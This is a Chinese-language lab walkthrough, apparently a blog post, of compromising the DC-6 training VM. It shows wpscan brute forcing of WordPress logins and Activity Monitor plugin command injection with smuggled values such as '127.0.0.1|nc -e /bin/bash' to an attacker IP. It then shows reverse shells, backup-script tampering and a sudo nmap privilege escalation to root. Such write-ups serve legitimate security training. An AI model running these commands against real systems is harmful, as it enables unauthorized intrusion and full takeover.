DC-6靶机渗透测试
方式一
1. 信息收集
1.1 主机扫描
arp-scan -l
![image-20230811190850967](https://img-blog.csdnimg.cn/img_convert/97520e165253e8e9752a2e5ba4cb08f1.png)
1.2 端口扫描
nmap -sS -p- 192.168.188.176
![image-20230811190902487](https://img-blog.csdnimg.cn/img_convert/d9ba7184e9a61bbdbde6d5a7208be56a.png)
访问web页面
![image-20230811190704425](https://img-blog.csdnimg.cn/img_convert/d73d6e560a5382b053f70d666ee32b4f.png)
发现没有反应,之前在DC-2中遇到过这种情况需要改hosts文件。
打开配置文件
vim /etc/hosts
配置如下信息
192.168.188.176 wordy
![image-20230811192424662](https://img-blog.csdnimg.cn/img_convert/00248f87c7315e0edf4daf017204079d.png)
然后重新启动服务即可访问页面。
![image-20230811192516845](https://img-blog.csdnimg.cn/img_convert/c5d7760c428346d94eb67cbd679303b7.png)
1.3 目录扫描
dirsearch -u 192.168.188.176 -e * -i 200
![image-20230811192843743](https://img-blog.csdnimg.cn/img_convert/5e10457ecb1d3b773f4530ac9d8fcacf.png)
访问后台页面
http://wordy/wp-login.php
![image-20230811192940664](https://img-blog.csdnimg.cn/img_convert/48f939a8cdfc225d7933a24d9764e16e.png)
2. 暴力破解
使用cewl生成密码字典
cewl -w password.txt http://wordy/
![image-20230811193415744](https://img-blog.csdnimg.cn/img_convert/3fc38c7617333e75e61e68025b55f86e.png)
使用wpscan暴力枚举用户名
wpscan --url http://wordy/ -e
![image-20230811193618460](https://img-blog.csdnimg.cn/img_convert/b108a2c9b777d511072f5e36fd4fc50c.png)
然后将这五个用户名放在一个字典中,进行爆破
wpscan --url http://wordy/ -U user.txt -P password.txt
发现无法爆破出来。
查看DC-6作者的提示
![image-20230811195729026](https://img-blog.csdnimg.cn/img_convert/ae827e79a34c788471302528c762e087.png)
![image-20230811195837964](https://img-blog.csdnimg.cn/img_convert/c335a0cea32d3608c3ec1d56865c1c15.png)
解压指定文件
gunzip rockyou.txt.gz
说明:gunzip
是一个用于解压缩.gz
文件的命令行工具。
![image-20230811195939865](https://img-blog.csdnimg.cn/img_convert/cd09273f1d0c3fc268fcb9d6c50254f8.png)
然后切换到tmp目录下生成密码字典
cat /usr/share/wordlists/rockyou.txt | grep k01 > wordy-pass1.dic
![image-20230811200331264](https://img-blog.csdnimg.cn/img_convert/5358ec45ab499ab15a1023ab423bf276.png)
将之前创建的用户名字典移动到tmp目录下,然后进行爆破
wpscan --url http://wordy/ -U user.txt -P wordy-pass1.dic
![image-20230811200814379](https://img-blog.csdnimg.cn/img_convert/510a5608a7bf1a00bd56666e52e122cd.png)
用户名:mark,密码:helpdesk01进行登录。
登录成功
![image-20230811200934431](https://img-blog.csdnimg.cn/img_convert/8abc62cd6ce419431b6554a05835f0ee.png)
页面发现
![image-20230811201151447](https://img-blog.csdnimg.cn/img_convert/91d408f3bd4c2800ff050c56f3f12af3.png)
3. 漏洞利用
发现了Activity monitor这个插件(远程命令执行漏洞)
Activity Monitor,官方解释为:(活动监视器)即实时显示CPU、内存和网络的使用情况,记录由虚拟内存大小测量的系统负载。用一句大白话来说,Activity Monitor类似Windows中的任务管理器,可以实时查看进程占用的CPU、内存的使用量。
使用searchsploit进行漏洞查找
searchsploit activity monitor
![image-20230811211225589](https://img-blog.csdnimg.cn/img_convert/51ce5ae84fb341af5bf48e1305f3ba59.png)
查看漏洞的绝对路径
searchsploit -p php/webapps/50110.py
![image-20230811211326448](https://img-blog.csdnimg.cn/img_convert/c279196ccc5e1ace6bba31e5e52e3a5a.png)
/usr/share/exploitdb/exploits/php/webapps/50110.py
用python执行这个脚本
python3 /usr/share/exploitdb/exploits/php/webapps/50110.py
依次输入靶机的IP地址,爆破出来的用户名及密码。
![image-20230811211623558](https://img-blog.csdnimg.cn/img_convert/5d251ba8bfe861914c4d406edd112105.png)
4. 提权
开启一个新终端监听6666端口
![image-20230811211801402](https://img-blog.csdnimg.cn/img_convert/32f2f3e9af99d95c281f3ff70ec112c3.png)
然后在刚才的终端里输入反弹shell
nc -e /bin/bash 192.168.188.157 6666
![image-20230811211847865](https://img-blog.csdnimg.cn/img_convert/29e6d6451418d65358b1af05cb88463c.png)
使用python交互shell
python -c "import pty;pty.spawn('/bin/bash')"
![image-20230811211915533](https://img-blog.csdnimg.cn/img_convert/9cb68d0fc3c5498b9867cf8881ad21a9.png)
找到mark用户的家目录下的stuff文件夹,查看里面的things-to-do.txt。
![image-20230811212146775](https://img-blog.csdnimg.cn/img_convert/155018a18a6d1e736d74d118b611b57c.png)
提示添加了新用户:graham - GSo7isUM1D4。切换用户:
su graham
![image-20230811212320637](https://img-blog.csdnimg.cn/img_convert/25b568823a50136322615fead0ac3a85.png)
查询graham用户的root权限指令:sudo -l
,看到jens目录下有bash脚本。
![image-20230811212351126](https://img-blog.csdnimg.cn/img_convert/4177ad2b744cfdb8dac1747f937068b6.png)
切换到jens的家目录查看脚本文件backup.sh
![image-20230811212541465](https://img-blog.csdnimg.cn/img_convert/c2591a01f3f0f097dc8064183ef534cd.png)
该脚本的内容是压缩备份Web的文件。那么我们是否可以在脚本里面添加代码,这样在执行脚本的时候可以打开一个shell。
追加写入:echo "/bin/bash" >> backups.sh
,意味着它会打开一个shell(此处会打开jens用户的shell)。
![image-20230811212830530](https://img-blog.csdnimg.cn/img_convert/feaba6cafe7960d911c77397ff317765.png)
该脚本在jens的家目录下所以使用jens的身份执行该脚本:sudo -u jens /home/jens/backups.sh
,切换成功。
说明:-u以指定的用户作为新的身份。
同时查看jens的可执行哪些命令的权限,发现有nmap。
![image-20230811212956177](https://img-blog.csdnimg.cn/img_convert/6a1a05692ff52837f6faf33795e5299e.png)
查看nmap的sudo提权方式
nmap | GTFOBins。
![image-20230811213109832](https://img-blog.csdnimg.cn/img_convert/da62fa308623935c80787a8fab095feb.png)
使用a方法依次输入即可
![image-20230811213304103](https://img-blog.csdnimg.cn/img_convert/45ed7662a529046fbc1467f032c1bf3f.png)
进入root根目录,找到theflag.txt,渗透成功。
![image-20230811213328337](https://img-blog.csdnimg.cn/img_convert/7770d4625d46f24037a41e043d920719.png)
方式二
1. 漏洞利用
发现了Activity monitor这个插件后,使用使用searchsploit进行漏洞查找。
searchsploit activity monitor
![image-20230812104844565](https://img-blog.csdnimg.cn/img_convert/e9c6adeb05550d4d6fc8076784d2fd7e.png)
将45274.html复制到桌面上进行修改
![image-20230812105113603](https://img-blog.csdnimg.cn/img_convert/aa7dc209d2b0e1e57c34ac4e3b451737.png)
kali监听4444端口
nc -lvp 4444
![image-20230812105311815](https://img-blog.csdnimg.cn/img_convert/6471d67683e80d1c0080758e72f04ac3.png)
再开启一个临时http服务端口为8888
python3 -m http.server 8888
![image-20230812105437367](https://img-blog.csdnimg.cn/img_convert/be67dcc8dff96f0548b1f1d3a5adb3f1.png)
浏览器访问一下kali开启的http服务。
192.168.188.157:8888
![image-20230812105510733](https://img-blog.csdnimg.cn/img_convert/f6e141fb11bf3d1d8e73cd338b260f1c.png)
点击Submit request
反弹成功
![image-20230812105618224](https://img-blog.csdnimg.cn/img_convert/09ef830e790b9d9b6dda48f96bb8df3d.png)
进入到mark用户的家目录下,stuff文件下有一个things-to-do.txt文件,查看文件内容发现是graham用户及登录密码。
![image-20230812105819491](https://img-blog.csdnimg.cn/img_convert/e24ab5b586241134b7e5cdbbce1b7858.png)
使用ssh远程登录
![image-20230812105925570](https://img-blog.csdnimg.cn/img_convert/edc0f3b520905f2c0bbd8184f14135e1.png)
查看一下当前用户可以执行的操作,发现可以运行jens用户家目录下面的backups.sh脚本
![image-20230812110055445](https://img-blog.csdnimg.cn/img_convert/4081d3523882d87bb31e544322fb97fc.png)
查看jens家目录下的这个文件,发现是对web的文件进行打包备份
![image-20230812110116859](https://img-blog.csdnimg.cn/img_convert/f0d31eebbd224323f3e47ff0b5baecb6.png)
追加写入:echo "/bin/bash" >> backups.sh
。并指定jens的身份来执行该脚本。
脚本执行成功后,切换到jens用户,查看jens可以执行的操作 。
![image-20230812110418085](https://img-blog.csdnimg.cn/img_convert/68b29e1c3f1569fb49dbc23432187c0a.png)
发现nmap提权提示操作。通过查询nmap | GTFOBins,来进行提权即可。
echo 'os.execute("/bin/sh")' > getShell
sudo nmap --script=getShell
# 查找flag
cat /root/theflag.txt
![image-20230812111112062](https://img-blog.csdnimg.cn/img_convert/1c0df2e1e87e9bbe6670e226570667be.png)
提权命令说明:
命令 echo 'os.execute("/bin/sh")' > getShell
是一条用于创建一个名为 getShell
的文件,并将其中的内容设置为 'os.execute("/bin/sh")'
的命令。下面对这个命令进行详细解析:
-
echo
:是一个命令行工具,用于将指定的字符串输出到标准输出(通常是终端)。
-
'os.execute("/bin/sh")'
:是一个 Lua 语言中的表达式,表示执行一个操作系统命令 /bin/sh
(即交互式 Shell)。
-
>
:是一个重定向操作符,用于将命令的输出重定向到指定的文件。
-
getShell
:是要创建的文件名,也可以是文件的路径。
因此,该命令的作用是将 'os.execute("/bin/sh")'
这个命令写入名为 getShell 的文件中。
getShell 文件内容为:
os.execute("/bin/sh")
当执行这个文件时,将会执行 "/bin/sh"
这个命令,从而打开一个交互式 Shell。这意味着,在执行 getShell
文件后,将进入一个可以执行命令的 Shell 环境。
该命令 sudo nmap --script=getShell
是使用 nmap
工具执行 getShell
脚本的命令。下面对这个命令进行详细解析:
-
sudo
:是一个命令行工具,用于以超级用户(root)权限执行指定的命令。sudo和SUID详解。
-
nmap
:是一款网络探测和安全扫描工具,用于扫描主机和网络服务。
-
--script=getShell
:是 nmap
命令的参数,指定要运行的脚本名称为 getShell
。
方式三
1. 漏洞利用
在登录后发现了Activity monitor这个插件
Activity Monitor,官方解释为:(活动监视器)即实时显示CPU、内存和网络的使用情况,记录由虚拟内存大小测量的系统负载。用一句大白话来说,Activity Monitor类似Windows中的任务管理器,可以实时查看进程占用的CPU、内存的使用量。
![image-20230812102441572](https://img-blog.csdnimg.cn/img_convert/9fe06048360255cd5530654e604e1158.png)
输入127.0.0.1测试一下
![image-20230812102907482](https://img-blog.csdnimg.cn/img_convert/fcfe64c096ec066fa69d5b8253eaaf80.png)
这里既然能解析ip地址,是否也能解析命令如127.0.0.1&ls。
![image-20230812102812952](https://img-blog.csdnimg.cn/img_convert/060e157e13e32b3bccf8a5e35e836ffa.png)
发现确实是远程命令执行漏洞,利用这个漏洞来反弹shell。输入框输入如下命令:
127.0.0.1|nc -e /bin/bash 192.168.188.157 9999
这里它的输入框有限制输入长度,可以查看源代码在检查里修改它的长度,将其修改为100。
![image-20230812103525426](https://img-blog.csdnimg.cn/img_convert/c658aba12ec5deaa05c81d9a16648018.png)
![image-20230812103627109](https://img-blog.csdnimg.cn/img_convert/042465cf5aa01af472a85a338b6af65b.png)
kali中监听9999端口
![image-20230812103542530](https://img-blog.csdnimg.cn/img_convert/a7caf2531b724969b48a49978533024c.png)
点击页面上的Lookup,反弹成功。
![image-20230812103646195](https://img-blog.csdnimg.cn/img_convert/8dc26f96114965a5332b57c635e4fd32.png)
然后设置交互式shell
python3 -c "import pty;pty.spawn('/bin/bash')"
![image-20230812103745218](https://img-blog.csdnimg.cn/img_convert/b4c0b1db13712a137437e4f4fce59d8c.png)
然后接下来解释提权了,和方式一的方法一样。
方式四
1. 漏洞利用
利用Activity monitor这个插件,在发送数据的时候使用bp抓包来修改。
页面输入127.0.0.1后在bp中修改抓取到的数据包,修改为127.0.0.1|ls
,成功显示。
![image-20230812104338642](https://img-blog.csdnimg.cn/img_convert/4a92b1f3e78fbd10857d05d8267e0433.png)
然后修改数据包为127.0.0.1|nc -e /bin/bash 192.168.188.157 6666
![image-20230812104618499](https://img-blog.csdnimg.cn/img_convert/b7523ba226dc519672758f142f74c500.png)
并且kali反弹成功,设置交互式shell
![image-20230812104552240](https://img-blog.csdnimg.cn/img_convert/1f2d209c64d86741508c021219912d58.png)